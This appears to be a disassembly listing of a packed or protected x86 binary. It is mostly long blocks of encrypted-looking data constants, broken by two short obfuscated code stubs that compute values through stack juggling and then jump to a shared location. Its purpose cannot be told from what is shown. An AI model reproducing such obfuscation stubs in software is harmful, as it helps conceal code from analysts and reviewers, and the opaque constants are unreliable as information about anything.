		dd 12FF90EDh, 0B3751360h, 493927E3h, 0A9356060h, 173658E3h
		dd 0D095260h, 423F1E50h
		dd 0A7B91213h, 17340737h, 0B2B72E21h, 3134186Dh, 8FB79E61h
		dd 56341365h, 830C905Dh, 4347136Bh, 33390EDh, 2A751360h
		dd 853957E3h, 0CF356060h, 241DA4E3h, 94095260h,	8E3F1E20h
		dd 0C1B91213h, 243431CFh, 1ECD1E21h, 883210E2h,	0BFD8FC66h
		dd 0A709EA99h, 173412BFh, 88399069h, 0C1BF1566h, 243EB65Ah
		dd 0EEC9C68Fh, 0F1B72E99h, 4B341365h, 22320DE3h, 768F9666h
		dd 8934186Ch, 44399069h, 0A7BF1566h, 116AF345h,	77C9BA8Fh
		dd 0E6B72E99h, 2D34186Ch, 113219E2h, 2EB72E66h,	4B34186Ch
		dd 223210E3h, 0EAA0FC66h, 888CEA99h, 0C7321566h, 0A73D1498h
		dd 11321523h, 82A4905Dh, 0C13D136Bh, 2232156Dh,	73D690EBh
		dd 0E5DB153Eh, 7FCDEA9Dh, 2F388FE3h, 1AB71A60h,	5321566h
		dd 1C514FE3h, 0D964FC66h, 9409EA99h, 8E3F1FF8h,	44399069h
		dd 0A7BF1566h, 116A76F9h, 77C92A8Fh, 0FAF29E99h, 22321567h
		dd 943DE36Dh, 88321563h, 0BBC9368Fh, 0ABC29E99h, 1733D8D3h
		dd 9879C60h, 0C434136Bh, 0A73DFC58h, 11321540h,	8B336BEDh
		dd 0C5EC9E98h, 227215A5h, 0DC8F2E66h, 87341367h, 44321DE4h
		dd 2DC92E66h, 113210E0h, 72D4FC66h, 0F9B9EA99h,	24340803h
		dd 339F90A1h, 88321360h, 0CD521566h, 243F94D3h,	0BBAF9860h
		dd 77341843h, 66B01AB5h, 0AF321566h, 1AF545FBh,	87E1EA60h
		dd 0BBCDCBE5h, 0A3879E99h, 9834136Bh, 8E10B8D3h, 77AF9860h
		dd 0DD34193Fh, 0DCB79EB5h, 1341367h, 423F94E3h,	0BFBF7460h
		dd 173F3775h, 15BFC699h, 423F319Dh, 0A13DC699h,	1132156Ah
		dd 85B390E5h, 0AD371360h, 0DDCDEAB8h, 341688EBh, 5BCD136Bh
		dd 443A9669h, 0E0B11566h, 1100FC62h, 15BF1566h,	4239D236h
		dd 0A13DC699h, 1132156Dh, 85B3A0EDh, 0C4DB1360h, 0A9321561h
		dd 173F94EBh, 9879C60h,	6F34136Bh, 9EBE2A8h, 0F896E697h
		dd 77CDEAF0h, 1DB988EBh, 0F1CD136Ah, 9419D2EDh,	8E340803h
		dd 442390EFh, 0A7B91360h, 17340803h, 5BF4531h, 423E4F66h
		dd 0A7B9C499h, 17343673h, 0DB94236h, 42340803h,	0DBF9836h
		dd 0EE34193Ch, 3E29EB7h, 51BF3EAEh, 0A1341345h,	171534DBh
		dd 0C3D1560h, 4432154Dh, 2C4390EDh, 94191360h, 8E343247h
		dd 0C23DD45Dh, 22321571h, 33F90EDh, 0D311360h, 42343247h
		dd 0F5B90EFh, 52DB1360h, 0D9321566h, 497AD4EDh,	22321A99h
		dd 60B79C26h, 89341368h, 42187CE3h, 3B7D260h, 11341341h
		dd 0E2321566h, 54327D26h, 48631566h, 20A7EA66h,	77341367h
		dd 421938F3h, 2FB79C60h, 98341374h, 8E1F7CE3h, 0F1CD4C60h
		dd 2434380Fh, 3227A099h, 77651360h, 422F70D3h, 0E3B79860h
		dd 0EE341938h, 0A9BF14B6h, 0CF341341h, 241F7CDBh, 4879E60h
		dd 7B341345h, 51879EC2h, 8F341372h, 11CE53A1h, 49321566h
		dd 563710A6h, 21665FC0h, 171EB4E3h, 0E1BF9E60h,	0CD34134Bh
		dd 64F5B86Eh, 1132159Ah, 9D879C66h, 0C7341372h,	0A73DEA9Eh
		dd 11321546h, 55EF2BE7h, 0C13DC8BBh, 22321572h,	113213A1h
		dd 4EB11566h, 51879C62h, 0CB341372h, 0EECDE380h, 8B31D5A7h
		dd 421EB4E3h, 738F9660h, 10341371h, 88AF9169h, 7AB31566h
		dd 8898BFCCh, 11209069h, 4EB11566h, 0B874D262h,	22321566h
		dd 0F8DBA5F1h, 88321565h, 14DAA5F1h, 7EFA8E5h, 1E331360h
		dd 88322BE2h, 4532AD66h, 9FB11566h, 173F1FC8h, 80B61A66h
		dd 0C9321566h, 2E5017FBh, 91E1EA60h, 0C3D8559h,	4432156Eh
		dd 0CB37D2E5h, 11321525h, 8762EDE5h, 44321FE4h,	88A2A566h
		dd 35DBBF3Eh, 0D0321566h, 0BB4D95CCh, 3AB71A8Fh, 92321566h
		dd 8538BBDBh, 0C03D1560h, 2232156Eh, 70E088EBh,	5BCD136Ah
		dd 0CF3652EEh, 241F7CE3h, 92F53E60h, 2599118Eh,	44CE53A1h
		dd 0CB321566h, 0EECDEA77h, 9C27A0EFh, 2C601360h, 22329566h
		dd 0A4CD150Ch, 8E343DCBh, 623B8099h, 0A9681360h, 171984EBh
		dd 8833D260h, 0C7321566h, 0AFBB11A7h, 17343EF7h, 77C7058Fh
		dd 4296FC99h, 0A9521566h, 171984EBh, 13B9E60h, 4938BFEBh
		dd 6C0A9460h, 1E7E5132h, 883209E3h, 3CB37366h, 2D1C5962h
		dd 113205E3h, 0BC29E66h, 0C1B913A0h, 2434128Bh,	1133138Fh
		dd 3C29E66h, 0E8FB26B6h, 0A63D155Ah, 1132153Bh,	0C3D385Ah
		dd 0BBCDEA89h, 0A63D3B5Ah, 1132155Bh, 0A3D255Ah, 44321466h
		dd 0A43D2C5Ah, 0EECDEAB1h, 0A3D545Ah, 44321596h, 0A43D4F5Ah
		dd 0EECDEAA1h, 0C3D4A5Ah, 0BBCDEAD9h, 0A03D745Ah, 113215BEh
		dd 0E3D6F5Ah, 0BBCDEAC9h, 2232DE8Fh, 0C7095766h, 88F09169h
		dd 5781566h, 0DDCD8F8Fh, 1EFB9099h, 8832A6E2h, 19879866h
		dd 0A9341355h, 0A1C89EACh, 0D3DBB48h, 0BBCDEA9Fh, 0FBC5DA4Dh
		dd 0E6B5EC4Dh, 0CFF4B195h, 0D1BF1599h, 2434263Bh, 0F3F90EDh
		dd 48B71360h, 44289069h, 0A7F41566h, 173414A7h,	2FE07D21h
		dd 0F1CDC1FCh, 24340EBBh, 6B4E90EBh, 58CD136Fh,	0C1E2EA34h
		dd 1AB71AA6h, 9A321566h, 8E20A4E3h, 4BF29060h, 22320FE3h
		dd 0D0B7D366h, 0C4341367h, 9E2EFC0Eh, 0FF87EABFh, 9C34137Dh
		dd 814869E3h, 16E2EA60h, 0E2B7C599h, 11379069h,	0A9DB1566h
		dd 0CD321566h, 2F38BFE3h, 9C644560h, 81A0DAE3h,	4FE2EA60h
		dd 27B71AA6h, 0F8321566h, 88321562h, 581651EFh,	0A952D607h
		dd 1C38BFEBh, 49B94560h, 0CF0E5565h, 22329DF6h,	84A79C66h
		dd 8D341346h, 4432159Eh, 0AB3E45EDh, 1718B8F3h,	0CCB94D60h
		dd 85193142h, 89F905Dh,	933D1360h, 88321576h, 64A7905Dh
		dd 0A13D1360h, 11321562h, 8836D707h, 6036D207h,	22321566h
		dd 151651A1h, 88321566h, 443210DEh, 0F0BF9866h,	0EE341328h
		dd 8EB87587h, 0C03DFC5Ah, 22321558h, 953DFD5Ah,	88321524h
		dd 0C03D1A5Ah, 22321574h, 953DD85Ah, 88321559h,	0C03DFE5Ah
		dd 2232152Fh, 4FB8D607h, 78D19567h, 4BB2EEE6h, 0DDCDFAE3h
		dd 92EC9E99h, 0D63113A5h, 4426FC64h, 7CB91566h,	0EAC99667h
		dd 881B9169h, 9AB91566h, 0A1334B65h, 0D8DB10A5h, 87CDEA99h
		dd 0C7334BD0h, 0A63D3B8Dh, 0EECDEADAh, 88321F8Fh, 454C9566h
		dd 8FB71A98h, 0F8CDEA99h, 77CDEA06h, 13614430h,	0A89ED555h
		dd 0E1D195BEh, 8742EEE6h, 4432F9E2h, 2D3D2966h,	113230E2h
		dd 87DB2966h, 443391E2h, 2DD92966h, 113000E2h, 87D12966h
		dd 443264E2h, 2DD02966h, 113056E2h, 0D1694A66h,	0C1F5D638h
		dd 243F1E1Ch, 11321560h, 6BB20BECh, 0C4C99596h,	0DDD19069h
		dd 9A7CEA99h, 8E33D8E3h, 0E9A79E60h, 0A9341344h, 17F196B8h
		dd 0B3304B65h, 4CB01ABEh, 19321566h, 0AFB41ABCh, 0A3CDEA99h
		dd 42D996B9h, 8954B800h, 0D7B1BEF5h, 0AC0E9C62h, 481661EFh
		dd 2FB3A0EFh, 4A6D1360h, 4CB14B3Fh, 0BE52FC62h,	0A7F5EA99h
		dd 173F1E1Ch, 88321564h, 0F23DCBEDh, 0A2CB9568h, 113A9669h
		dd 51311566h, 443FFC25h, 0CBB21566h, 90EBE299h,	8832EA87h
		dd 0CFEB3E66h, 2433D8E3h, 0BCA79E60h, 0B341344h, 421D44DBh
		dd 0A63D1460h, 113215C5h, 0A3DCD5Dh, 443215FDh,	0A03DCF5Dh
		dd 0EECDEA27h, 88329B8Fh, 3EB7D266h, 2034186Dh,	9A321566h
		dd 86841AB8h, 4BB2ECE6h, 22321DE5h, 52EB1666h, 8832188Fh
		dd 0BBDB9566h, 0C3B3CC91h, 11321599h, 0DB9CC4Dh, 423414ABh
		dd 9F80EDh, 0ACB11360h,	8E343A37h, 0CB61A67h, 19321566h
		dd 19B01ABEh, 0B3321566h, 0A2B41ABCh, 6CCDEA98h, 9B981AD6h
		dd 8B2A568h, 85381A87h
		dd 0A1ED3ECCh, 0BAA1118Dh, 130D3E5h, 423F94D3h,	73B7D260h
		dd 10341349h, 0B321566h, 1D6911A2h, 0A136D1E5h,	66DB11A2h
		dd 0C6CDEA9Fh, 0CF98FCD6h, 0A1F53EA0h, 9299118Eh, 0D16911A2h
		dd 40F69638h, 0DDCBD28Fh, 6BB7D299h, 8D34186Dh,	0CF321566h
		dd 26F196B8h, 94B90B65h, 8E3414ABh, 669F80EDh, 0A17C1360h
		dd 173A14DBh, 0C3D1460h, 44321465h, 0A03DCD5Dh,	1132156Eh
		dd 0E3DCF5Dh, 4432154Dh, 2FB3A0EFh, 8CB91360h, 8E3F1E1Ch
		dd 48164967h, 2232CB8Fh, 94F54A66h, 8E341D67h, 44321567h
		dd 0A16C4C3Dh, 0E6DB11A2h, 0BCDEA9Eh, 421D44DBh, 0A63D1460h
		dd 113215DDh, 89FF884Dh, 0C9B91360h, 24340803h,	0DE19DE65h
		dd 3837FCE5h, 0EFA3BF8Fh, 7936D1E5h, 0D5B14B3Fh, 711CFC62h
		dd 0C1F5EA99h, 243F1E1Ch, 11321564h, 3E3DCBEDh,	0C4CB9568h
		dd 223A9669h, 0C8311566h, 883FFC25h, 0ADB21566h, 0A3EBE299h
		dd 1132EA87h, 3EB3E66h,	4233D8E3h, 8FA79E60h, 0F8341344h
		dd 77CDEA20h, 4F4890A1h, 2230136Bh, 0CFB91566h,	83CA369h
		dd 0C73D959Fh, 2232156Eh, 0F871CC65h, 8832156Bh, 0B3CDFCE6h
		dd 0DDD394BFh, 3A321566h, 45B79EBFh, 0CF341367h, 2410B8F3h
		dd 408F9660h, 89341349h, 0BAFB9169h, 0FA09EA99h, 113A9769h
		dd 52091566h, 0B9559369h, 0A97CEA99h, 92FD3EA8h, 6182108Fh
		dd 0AD9984CCh, 0DDCDEDEEh, 0F90E13ECh, 88349169h, 0ADCA1566h
		dd 2232157Eh, 12EC9E35h, 4BB11438h, 0EEDAA563h,	0C9B1CA4Dh
		dd 4A998662h, 7137D3E5h, 0CF5444A5h, 2DF12960h,	113255E2h
		dd 87F92966h, 44322DE2h, 2DF02966h, 11322DE2h, 87F82966h
		dd 443225E2h, 0DD0F7366h, 21B61A43h, 0EE321566h, 4BCD3B5Bh
		dd 223218E3h, 13749F66h, 280EE542h, 44119169h, 0DA6B1566h
		dd 11322C8Fh, 0C9FB2666h, 44320C8Fh, 2231AC66h,	1EDB1566h
		dd 31321566h, 44321560h, 2232108Fh, 1135AC66h, 2CC11566h
		dd 669F98EDh, 0EBB71360h, 11349069h, 3DBB1566h,	423437CBh
		dd 44F1EC3Fh, 0D20E13EDh, 88579169h, 9CB81566h,	0A2C2F6E6h
		dd 953D659Dh, 883215FAh, 0C03DFC5Ah, 22321529h,	953DFE5Ah
		dd 88321521h, 0C03DD75Ah, 22321559h, 953DDE5Ah,	88321551h
		dd 61CD2800h, 221F9169h, 0DB0E1566h, 88179169h,	0A70E1566h
		dd 22509169h, 2C541566h, 0D3DEA48h, 4432156Bh, 63053ECh
		dd 1E922996h, 883213E2h, 4BDBED66h, 0AB321566h,	1710B8D3h
		dd 0BBAF9860h, 0BB34193Fh, 72F1ECB5h, 982253EDh, 8E1644E3h
		dd 82B14D60h, 0C38F987Ah, 0BC341375h, 0AC165165h, 0AD8F98CDh
		dd 8F34134Eh, 35165165h, 35BFBE36h, 423424B3h, 67616CBh
		dd 0D26CBE4Eh, 84AF9830h, 0BB34193Fh, 0FF95FCB5h, 0CEDFFFFFh
		dd 0A86CD24Eh, 458AFD4Ah, 0D5F251A2h, 4941BAC0h, 0A8ED96A4h
		dd 458A152Ah, 0DFA02429h, 79261957h, 1E2C5E91h,	798A152Ah
		dd 162C5E89h, 798A152Ah, 492C5ECAh, 798A152Ah, 382C5E13h
		dd 798A152Ah, 5C2A5EF2h, 798A152Ah, 6B2A5EFAh, 0AC8A152Ah
		dd 54A851D6h, 0BA8660D5h, 0CE2559D7h, 4386D3CEh, 0EF32DCF1h
		dd 0BA8C19EDh, 0A8EDD871h, 458A42C3h, 58DDAEA2h, 0C88260D5h
		dd 586EA538h, 0DF07462Ch, 52A49619h, 3C6D5h, 5492B85Eh
		dd 0F305E983h, 0E4CB8BA4h, 0B1DABA31h, 0EB32565Dh, 0D05ABC2Fh
		dd 3C52505Bh, 0BD672811h, 0B977DDD3h, 0F4B95163h, 0B575DF79h
		dd 38221331h, 0F4B95A1Ah, 0A175DFBAh, 0A1F09F36h, 34F436ABh
		dd 83345714h, 0A4F305E9h, 9D11F1B0h, 75FD7AF2h,	6317FB23h
		dd 25FB7672h, 0FDF53FD5h, 79307BADh, 0B7342291h, 23AC7ACFh
		dd 20AD29B7h, 75FD7A1Ah, 987C2779h, 73F1B48Bh, 0B975FFA0h
		dd 0C87D7C23h, 0F305E983h, 8DDB8BA4h, 0D0B86BDh, 6D8D8D06h
		dd 0B8060D26h, 32156644h, 0E9C1CF2Bh, 0D0073102h, 4C783C8h
		dd 0F2850F49h, 8BFFFFFFh, 0D1BD83C0h, 60630h, 0BD830975h
		dd 60604B5h, 50197400h,	0B8C08B53h, 411h, 20B98589h, 9D8D0606h
		dd 608B2C8h, 585BD3FFh,	4B5BD83h, 74000606h, 0B8535017h
		dd 411h, 20B98589h, 9D8D0606h, 608AF69h, 585BD3FFh, 0F2BBC08Bh
		dd 8D4672A4h, 0D28F28Dh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1604h, 0C3554500h, 0F51FA045h, 28DD8D89h
		dd 6A0606h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h
		dd 55450000h, 4B582DC3h, 9A09FF3Fh, 607D4BE6h, 0BF66F960h
		dd 8961B4DEh, 601BD95h,	85C76106h, 6061111h, 62D0h, 28C0Fh
		dd 0F78B0000h, 2E4985C7h, 606h,	6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 1835FAC3h
		dd 720825E8h, 0FF4610EEh, 614D5B5h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1704h,	0C3524200h, 93FF09CAh
		dd 79195FFh, 6A0606h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 140424h, 51410000h, 9D8BD5C3h, 6061E91h, 0B58953B4h
		dd 6063141h, 95FF006Ah,	6061AC9h, 7CEBC08Bh, 6FA97C25h
		dd 278A0218h, 6328507Fh, 1CCE2B34h, 0E459D06Dh,	0A16BFEA5h
		dd 0B337D431h, 8B697B34h, 0D86B2786h, 98E8F518h, 7ACDCB57h
		dd 3D99905Eh, 0E5129298h, 0B76F8EA4h, 0C65A5B5h, 42D954F5h
		dd 0C80F5C68h, 45981686h, 35331C74h, 942126E7h,	0D18C2FCCh
		dd 3838A95Fh, 40540A1h,	4842F9A8h, 0A9C22AD0h, 0CAF81865h
		dd 24254CBCh, 81EA7B9Fh, 4170028Eh, 753B4833h, 0F089C358h
		dd 8EBh, 57260000h, 0ABE96A82h,	68000004h, 60D2AA6h, 0F953F0E9h
		dd 2B0A68FFh, 0E6E9060Dh, 68FFF953h, 60D2C6Bh, 0F953DCE9h
		dd 208FFAFFh, 0BCE7A0BEh, 5A493C5Ah, 0FDAADAF8h, 9E057D9Bh
		dd 0A2B4413Ch, 4361C3E0h, 0E6046645h, 86A4069Dh, 0EC41A300h
		dd 0A587366Bh, 576D33D1h, 8BE89A93h, 0C47C6756h, 0CB2C8D2Dh
		dd 0BBE89A3Ah, 0CD8FE5Dh, 0A6DB98EEh, 2DC47C17h, 0B91B7CDDh
		dd 7102025Fh, 0C24BEC3Ch, 1775D62Bh, 0CAAD5D64h, 0F3B0D433h
		dd 670E7795h, 0CAAD8B32h, 9F006133h, 7C2AD841h,	36708C44h
		dd 0F3A619D7h, 2DF4EAEh, 0AF4F0000h, 0E2A6CCD7h, 74898FACh
		dd 1A669B2Ch, 242BC27Bh, 47A5FE84h, 9B2257E8h, 5133CA7Ch
		dd 9EFFCAF0h, 1F51C7EAh, 2F44D6A7h, 0AEAD3131h,	0B8196BECh
		dd 0D0051627h, 2927C7EDh, 55789EFFh, 2725965Fh,	0CA33495h
		dd 39B045BFh, 76426861h, 2EBFC71Ch, 0E6D70C1Dh,	4C2B29CCh
		dd 358CFADBh, 687FDC49h, 0C44643A5h, 9AC021ABh,	28371577h
		dd 25B61729h, 40A20185h, 12476422h, 88AAA0F7h, 0E0C464C0h
		dd 0F4000002h, 96B41695h, 3250B2F1h, 0D4F25453h, 7391F3B0h
		dd 3732940Fh, 0B9EA984Eh, 604F3957h, 0A3E0FEh, 9D06809Eh
		dd 3065E63Bh, 33D1A68Dh, 5E85495Fh, 3B700101h, 2BC953D1h
		dd 31D162C3h, 61F05251h, 9231C6C1h, 3AF70B54h, 997BD1Eh
		dd 19CC2A79h, 0D8490979h, 9CD1DAACh, 8A1BF383h,	7C5CFC58h
		dd 90000002h, 2A48AAF9h, 0CEEC4E5Dh, 708EF0B7h,	0F2D8F14h
		dd 0D3CE3073h, 554E342Ah, 0F4B3D5F3h, 940F7492h, 39721432h
		dd 0CC0182D7h, 33D1A6F1h, 2929ED03h, 9AECFA89h,	0C08AB011h
		dd 3BD263A3h, 0CA2FCBBEh, 0D4D3F925h, 407DB2C3h, 0B42DC572h
		dd 59543353h, 53769CFBh, 2BCA49B9h, 0C8F52ABBh,	7233D25Ah
		dd 0DA5143DEh, 5BEC495Ch, 0D1D89726h
		dd 9BFC5D33h, 9829DC3Ah, 133D1D8h, 0A44CC1E5h, 0C3AEFAD6h
		dd 171h, 0FD8929FFh, 0CBF150AEh, 0FC5A493Dh, 99FBA8DEh
		dd 0F9C4F90Ah, 0FB2DC47Bh, 55AA749Ah, 49AAF98Eh, 4BED83B8h
		dd 1CB32BC2h, 0EC4F801Ch, 79325455h, 355BBC1Bh,	6A394A6Ah
		dd 0EE4CAD0Ch, 0CAD2863Bh, 74141333h, 1274940Fh, 0B6DC3B99h
		dd 0EF010C9Ah, 78AEF3CEh, 3Bh, 1015EB4h, 0C3BF5F70h, 0E9476621h
		dd 1A12298Ah, 1AE05584h, 7AD2F51Bh, 702BC2E2h, 2EBB3250h
		dd 0DD24BF24h, 4BA90A6Bh, 0CB5D2998h, 52547033h, 0F45635BBh
		dd 9232AEh, 9A6E0000h, 4361BFECh, 0E806643Fh, 89A7059Eh
		dd 994CAEFDh, 2DC47FDAh, 0E703B4Bh, 0C6575FB4h,	0CCD8F291h
		dd 14A5062Bh, 88236303h, 2D760C2Ah, 6A18A6CCh, 7E08A839h
		dd 4268C725h, 752E5472h, 5C23140h, 0E282DE7Eh, 11Bh, 0E94B5A2Fh
		dd 8FF1BCCBh, 33951471h, 0D6386F15h, 77D9CAB8h,	0A5DDF37Ch
		dd 0A7E9CFEh, 661D3B9Dh, 0C7BFDD3Fh, 0A4257ADCh, 0D1A84E6Fh
		dd 0C4889E33h, 2ABBE89Ah, 88AEFD8Ah, 0BFEC9AB8h, 88BDCE5Dh
		dd 2DC47C35h, 6C3056B7h, 6709EC9Ah, 0C6E5086Ch,	0AA4ADB3Ch
		dd 0DCA8CEDDh, 0D0D7AD4Dh, 5FED1372h, 0C01A7C27h, 9DD263A3h
		dd 2BC30CD2h, 3984B9CAh, 0BB33CB15h, 869345Ah, 0F6ADD777h
		dd 5131D1D0h, 843DF052h, 0AD33CB15h, 4A68CAD9h,	6D0D6B38h
		dd 87h,	0E3182999h, 2DC47BDAh, 0C993B91Ah, 0CADB6CB4h
		dd 0F04E5D2Ah, 0D0486B91h, 0C22BC953h, 0A1E50361h, 482A002h
		dd 7B9649A7h, 0B647582Ch, 0EB7AD8CFh, 46CC07B6h, 6C8CED98h
		dd 0F2318F1Ch, 1D5E6244h, 0BCCA376Fh, 0CC338ABFh, 58B99846h
		dd 0F8594A38h, 0C1F60796h, 9846CBFCh, 156F8FF0h, 0ABD1308Eh
		dd 0DC3A691Dh, 83E1C6BEh, 857C2A58h, 2240A201h,	0A6FD8864h
		dd 5D2E948h, 0D919BAEFh, 0ED8DEB4Ch, 3,	9A065A19h, 4462C0EFh
		dd 0ED0B6942h, 93B10F96h, 3A58B6F5h, 0DFFD5B48h, 84A200A3h
		dd 2745A300h, 0CBE9475Eh, 1B93F1BCh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ecx
		mov	ecx, 4
		sub	ebp, ecx
		pop	ecx
		xchg	ebp, [esp]
		pop	esp
		push	50Dh
		mov	[esp], edx
		push	47EDh
		mov	[esp], ecx
		push	esi
		mov	esi, 43983508h
		xor	esi, 0B224376h
		add	esi, 4A807518h
		neg	esi
		xor	esi, 6AC83DCAh
		push	edi
		mov	edi, esi
		mov	edx, edi
		pop	edi
		pop	esi
		push	6E73h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		sub	esp, 4
		mov	[esp], esi
		mov	esi, edx
		mov	[ecx+8], esi
		pop	esi
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_54C1AD
; ---------------------------------------------------------------------------
		dd 0A70F016Fh, 0ABB8C65Bh, 3060D2Dh, 89E0FFC5h,	6013A85Bh
		dd 487AF554h, 0DE6ED511h, 246D59CFh, 5E4AC537h,	1A4AE97Bh
		dd 66649589h, 0EB19B621h, 8D1D5404h, 4F7E92Ch, 50390000h
		dd 0A6E1FF61h, 0FE87A507h, 5D2745A7h, 0BCC6E446h, 0FD8A85E7h
		dd 0AA0C97EBh, 4DAFFC8Ch, 0EF51542Fh, 94F6B5D1h, 3489BE3Fh
		dd 0B833D1AAh, 0EC9ADEA2h, 3F4361BFh, 0A2E40264h, 32677809h
		dd 2DC47C8Bh, 0EDA0061h, 0DF43E87Fh, 39D92Ch, 713A4CDAh
		dd 1392F513h, 0DEC876B5h, 0FF896323h, 92F352B0h, 32711230h
		dd 0D2D1B2D0h, 515EAA41h, 0A1477211h, 0B2E2DB10h, 0B1122DC4h
		dd 0E7A1BF8Bh, 2E3F6AC8h, 9A1FD197h, 1D3D34C8h,	0F8143A69h
		dd 753053AEh, 1291F513h, 70BF01B4h, 0AB492DC5h,	69DE12FBh
		dd 7B12A8EEh, 0EF17960h, 78FB5B2h, 55h,	0BFEC9A43h, 0AFF48E2Eh
		dd 8E2EBD89h, 6184AAF9h, 2DC47C5Eh, 6F9E08A6h, 0A8ED7581h
		dd 4303D86Fh, 0A1B12ECCh, 0C0166F59h, 0B6DC3DC4h, 12Eh
		dd 0ED9A6A00h, 454260BEh, 9AEA0866h, 7C15A8DDh,	0B7D72DC4h
		dd 1374D5D0h, 0DEC876B5h, 0E7496423h, 8CEEBDC9h, 0BBE89A38h
		dd 2D483F5Dh, 0C47BC5F8h, 7C07272Dh, 0B6CCB29h,	52E34CAAh
		dd 0AED4D3B2h, 0E57C1492h, 4411975Ch, 0FB89AFA2h, 81285D87h
		dd 0E2A4C423h, 0AB0C6BC9h, 74A9BA49h, 2DC48849h, 96244AABh
		dd 3755B3F0h, 43F9574Eh, 728E7F27h, 0F5A8ED87h,	74h, 0BBE89A31h
		dd 5F463F5Dh, 9214C201h, 9FDA136Fh, 84095040h, 97B51778h
		dd 9027B8EBh, 67C5898Ah, 0ABB108FCh, 4D4D18BAh,	0DCFAC6ECh
		dd 5D463CA8h, 0CCE89EFCh, 7116B6DAh, 4F75D432h,	0EDAD33CDh
		dd 3B26BDA8h, 9842C1Dh,	6E75487Dh, 16772DC5h, 3E078FB5h
		dd 43000000h, 5DBBE89Ah, 361443Fh, 0AB09A0E5h, 4CAAF98Dh
		dd 79475F0Dh, 91703654h, 0FC50B2F1h, 60BEED9Ah,	328BC0D1h
		dd 0C22DC47Ch, 0A8183B61h, 5E2DC47Bh, 0C927E6C0h, 9EA8ED74h
		dd 1, 0BCEB9ADAh, 0ACF78B2Bh, 0FDC9EF4Eh, 9EFCA7DFh, 1C516273h
		dd 2DC47BA1h, 0B0CCF253h, 2B7A0BF6h, 12126FC9h,	823B7081h
		dd 722DC47Ch, 724B8011h, 822DC47Ch, 0C7FCFB21h,	2BC27A9Dh
		dd 8C9D2E8Fh, 92B79DF5h, 0D0858390h, 33CAAEEDh,	0AC789EFFh
		dd 0A0077D1Dh, 119AEC7Ah, 0B6F591AFh, 0AF1AA558h, 0F00E33CAh
		dd 703B4BB6h, 0D96F00Eh, 0F7F591AFh, 57B5168Dh,	93C65DEEh
		dd 22971493h, 5A4C688Eh, 62C4DFA7h, 0F37FA050h,	110C7AEh
		dd 5E030000h, 5F700101h, 0B9DFC6BFh, 0C2623696h, 0FD5BBC2Bh
		dd 6BFCA7DFh, 5BECB7CBh, 0CA959726h, 0D6FC5D33h, 0D59EE806h
		dd 962E8FC4h, 5DBE33CAh, 0CA9615A8h, 1576D733h,	44A0E484h
		dd 0A9076843h, 3A58244Ah, 98015F4Ch, 4145BCEAh,	2EE0062h
		dd 65AEF38Fh, 5Dh, 3075EA1h, 89E4DB72h,	0E7263C75h, 608DC2C1h
		dd 602DC4F3h, 0F2A31A4Fh, 0E8492DC4h, 596F7C2h,	0DF76686Eh
		dd 0C0E0F0B1h, 0EAB6DCC7h, 5CA7C45Bh, 0DD608448h, 0A32994B7h
		dd 49772DC4h, 0D0D685Dh, 0A3A6477Ch, 0DB722DC4h, 0D4AF9127h
		dd 0FD1473D1h, 547A9D53h, 26C62889h, 5Eh, 1015E52h, 0C9BF5F70h
		dd 0F71D7CDAh, 0C26840D4h, 73D1322Bh, 10723155h, 861794F2h
		dd 0A402A1E6h, 0A0531F45h, 33CA97F2h, 5DA40220h, 0BE187A29h
		dd 30D061A1h, 2C2B5152h, 0CF7202F7h, 91F231h, 0AE03BAEFh
		dd 88E92DCFh, 0E789662h, 0DE0C3795h, 0A0E0FDC8h, 881FDA0Fh
		dd 0F4552BD4h, 18293E92h, 0C47BDAE3h, 93B91A2Dh, 0DB6CB4C9h
		dd 0C95653A6h, 0C220812Bh, 38C9E2A4h, 5B4F02A1h, 53881C51h
		dd 33D1D96Ah, 0A2C8298Ah, 0FD3243D2h, 33D1D8C0h, 68F91D34h
		dd 0D69D2F6Eh, 0C5C14F75h, 67D588E6h, 0CA0D5237h, 7391EFBCh
		dd 0D736940Fh, 74D2D1B7h, 0B10F97C5h, 0ACE4C270h, 96E5AE15h
		dd 0FA59B7ECh, 72D22BE3h, 0DBC8BE4Ch, 0C12B5B79h, 2583E4C3h
		dd 95267D07h, 0AF18B8FEh, 95F1AB81h, 0C38FB516h, 6AC8DFA5h
		dd 12703B4Ch, 4F713563h, 567A1122h, 4C54D94Bh, 198DA9CFh
		dd 0A3059EE8h, 11A20185h, 0E7F2CB00h, 0A1025A51h, 0A0FAF7Bh
		dd 3B000000h, 582BCB5Ah, 6A90EF4Dh, 0C0EF9AA6h,	69424462h
		dd 0F96ED0Bh, 0B6F593B1h, 5B483A58h, 0A3DFFDh, 0A30084A2h
		dd 475E2745h, 0F1BCCBE9h, 89511B93h, 4C181E1h, 83000000h
		dd 0C8704E9h, 24248B24h, 763468h, 243C8900h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		push	56DCh
		mov	[esp], ecx
		mov	ecx, 6DDA0A97h
		xor	ecx, 6BD724F6h
		mov	edi, ecx
		pop	ecx
		push	esp
		mov	esi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		mov	edx, edi
		mov	[esi+8], edx
		pop	edx
		mov	esi, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_54C1AD
; ---------------------------------------------------------------------------
		dw 65EFh
		dd 90F9F6CEh, 0C9C848EAh, 576A0E37h, 32CDB82Dh,	0C503060Dh
		dd 0B860E0FFh, 0BDE445B5h, 17724DB3h, 0FDB212B6h, 88874BBBh
		dd 1E707AABh, 159C1359h, 139E1D5Dh, 0EAB90A3Dh,	53975BCCh
		dd 851B73D9h, 0E349024Dh, 5327506Ah, 3A747E0Ch,	23363744h
		dd 425952EAh, 0F652590Ah, 6D827904h, 255A2564h,	0E0943C0h
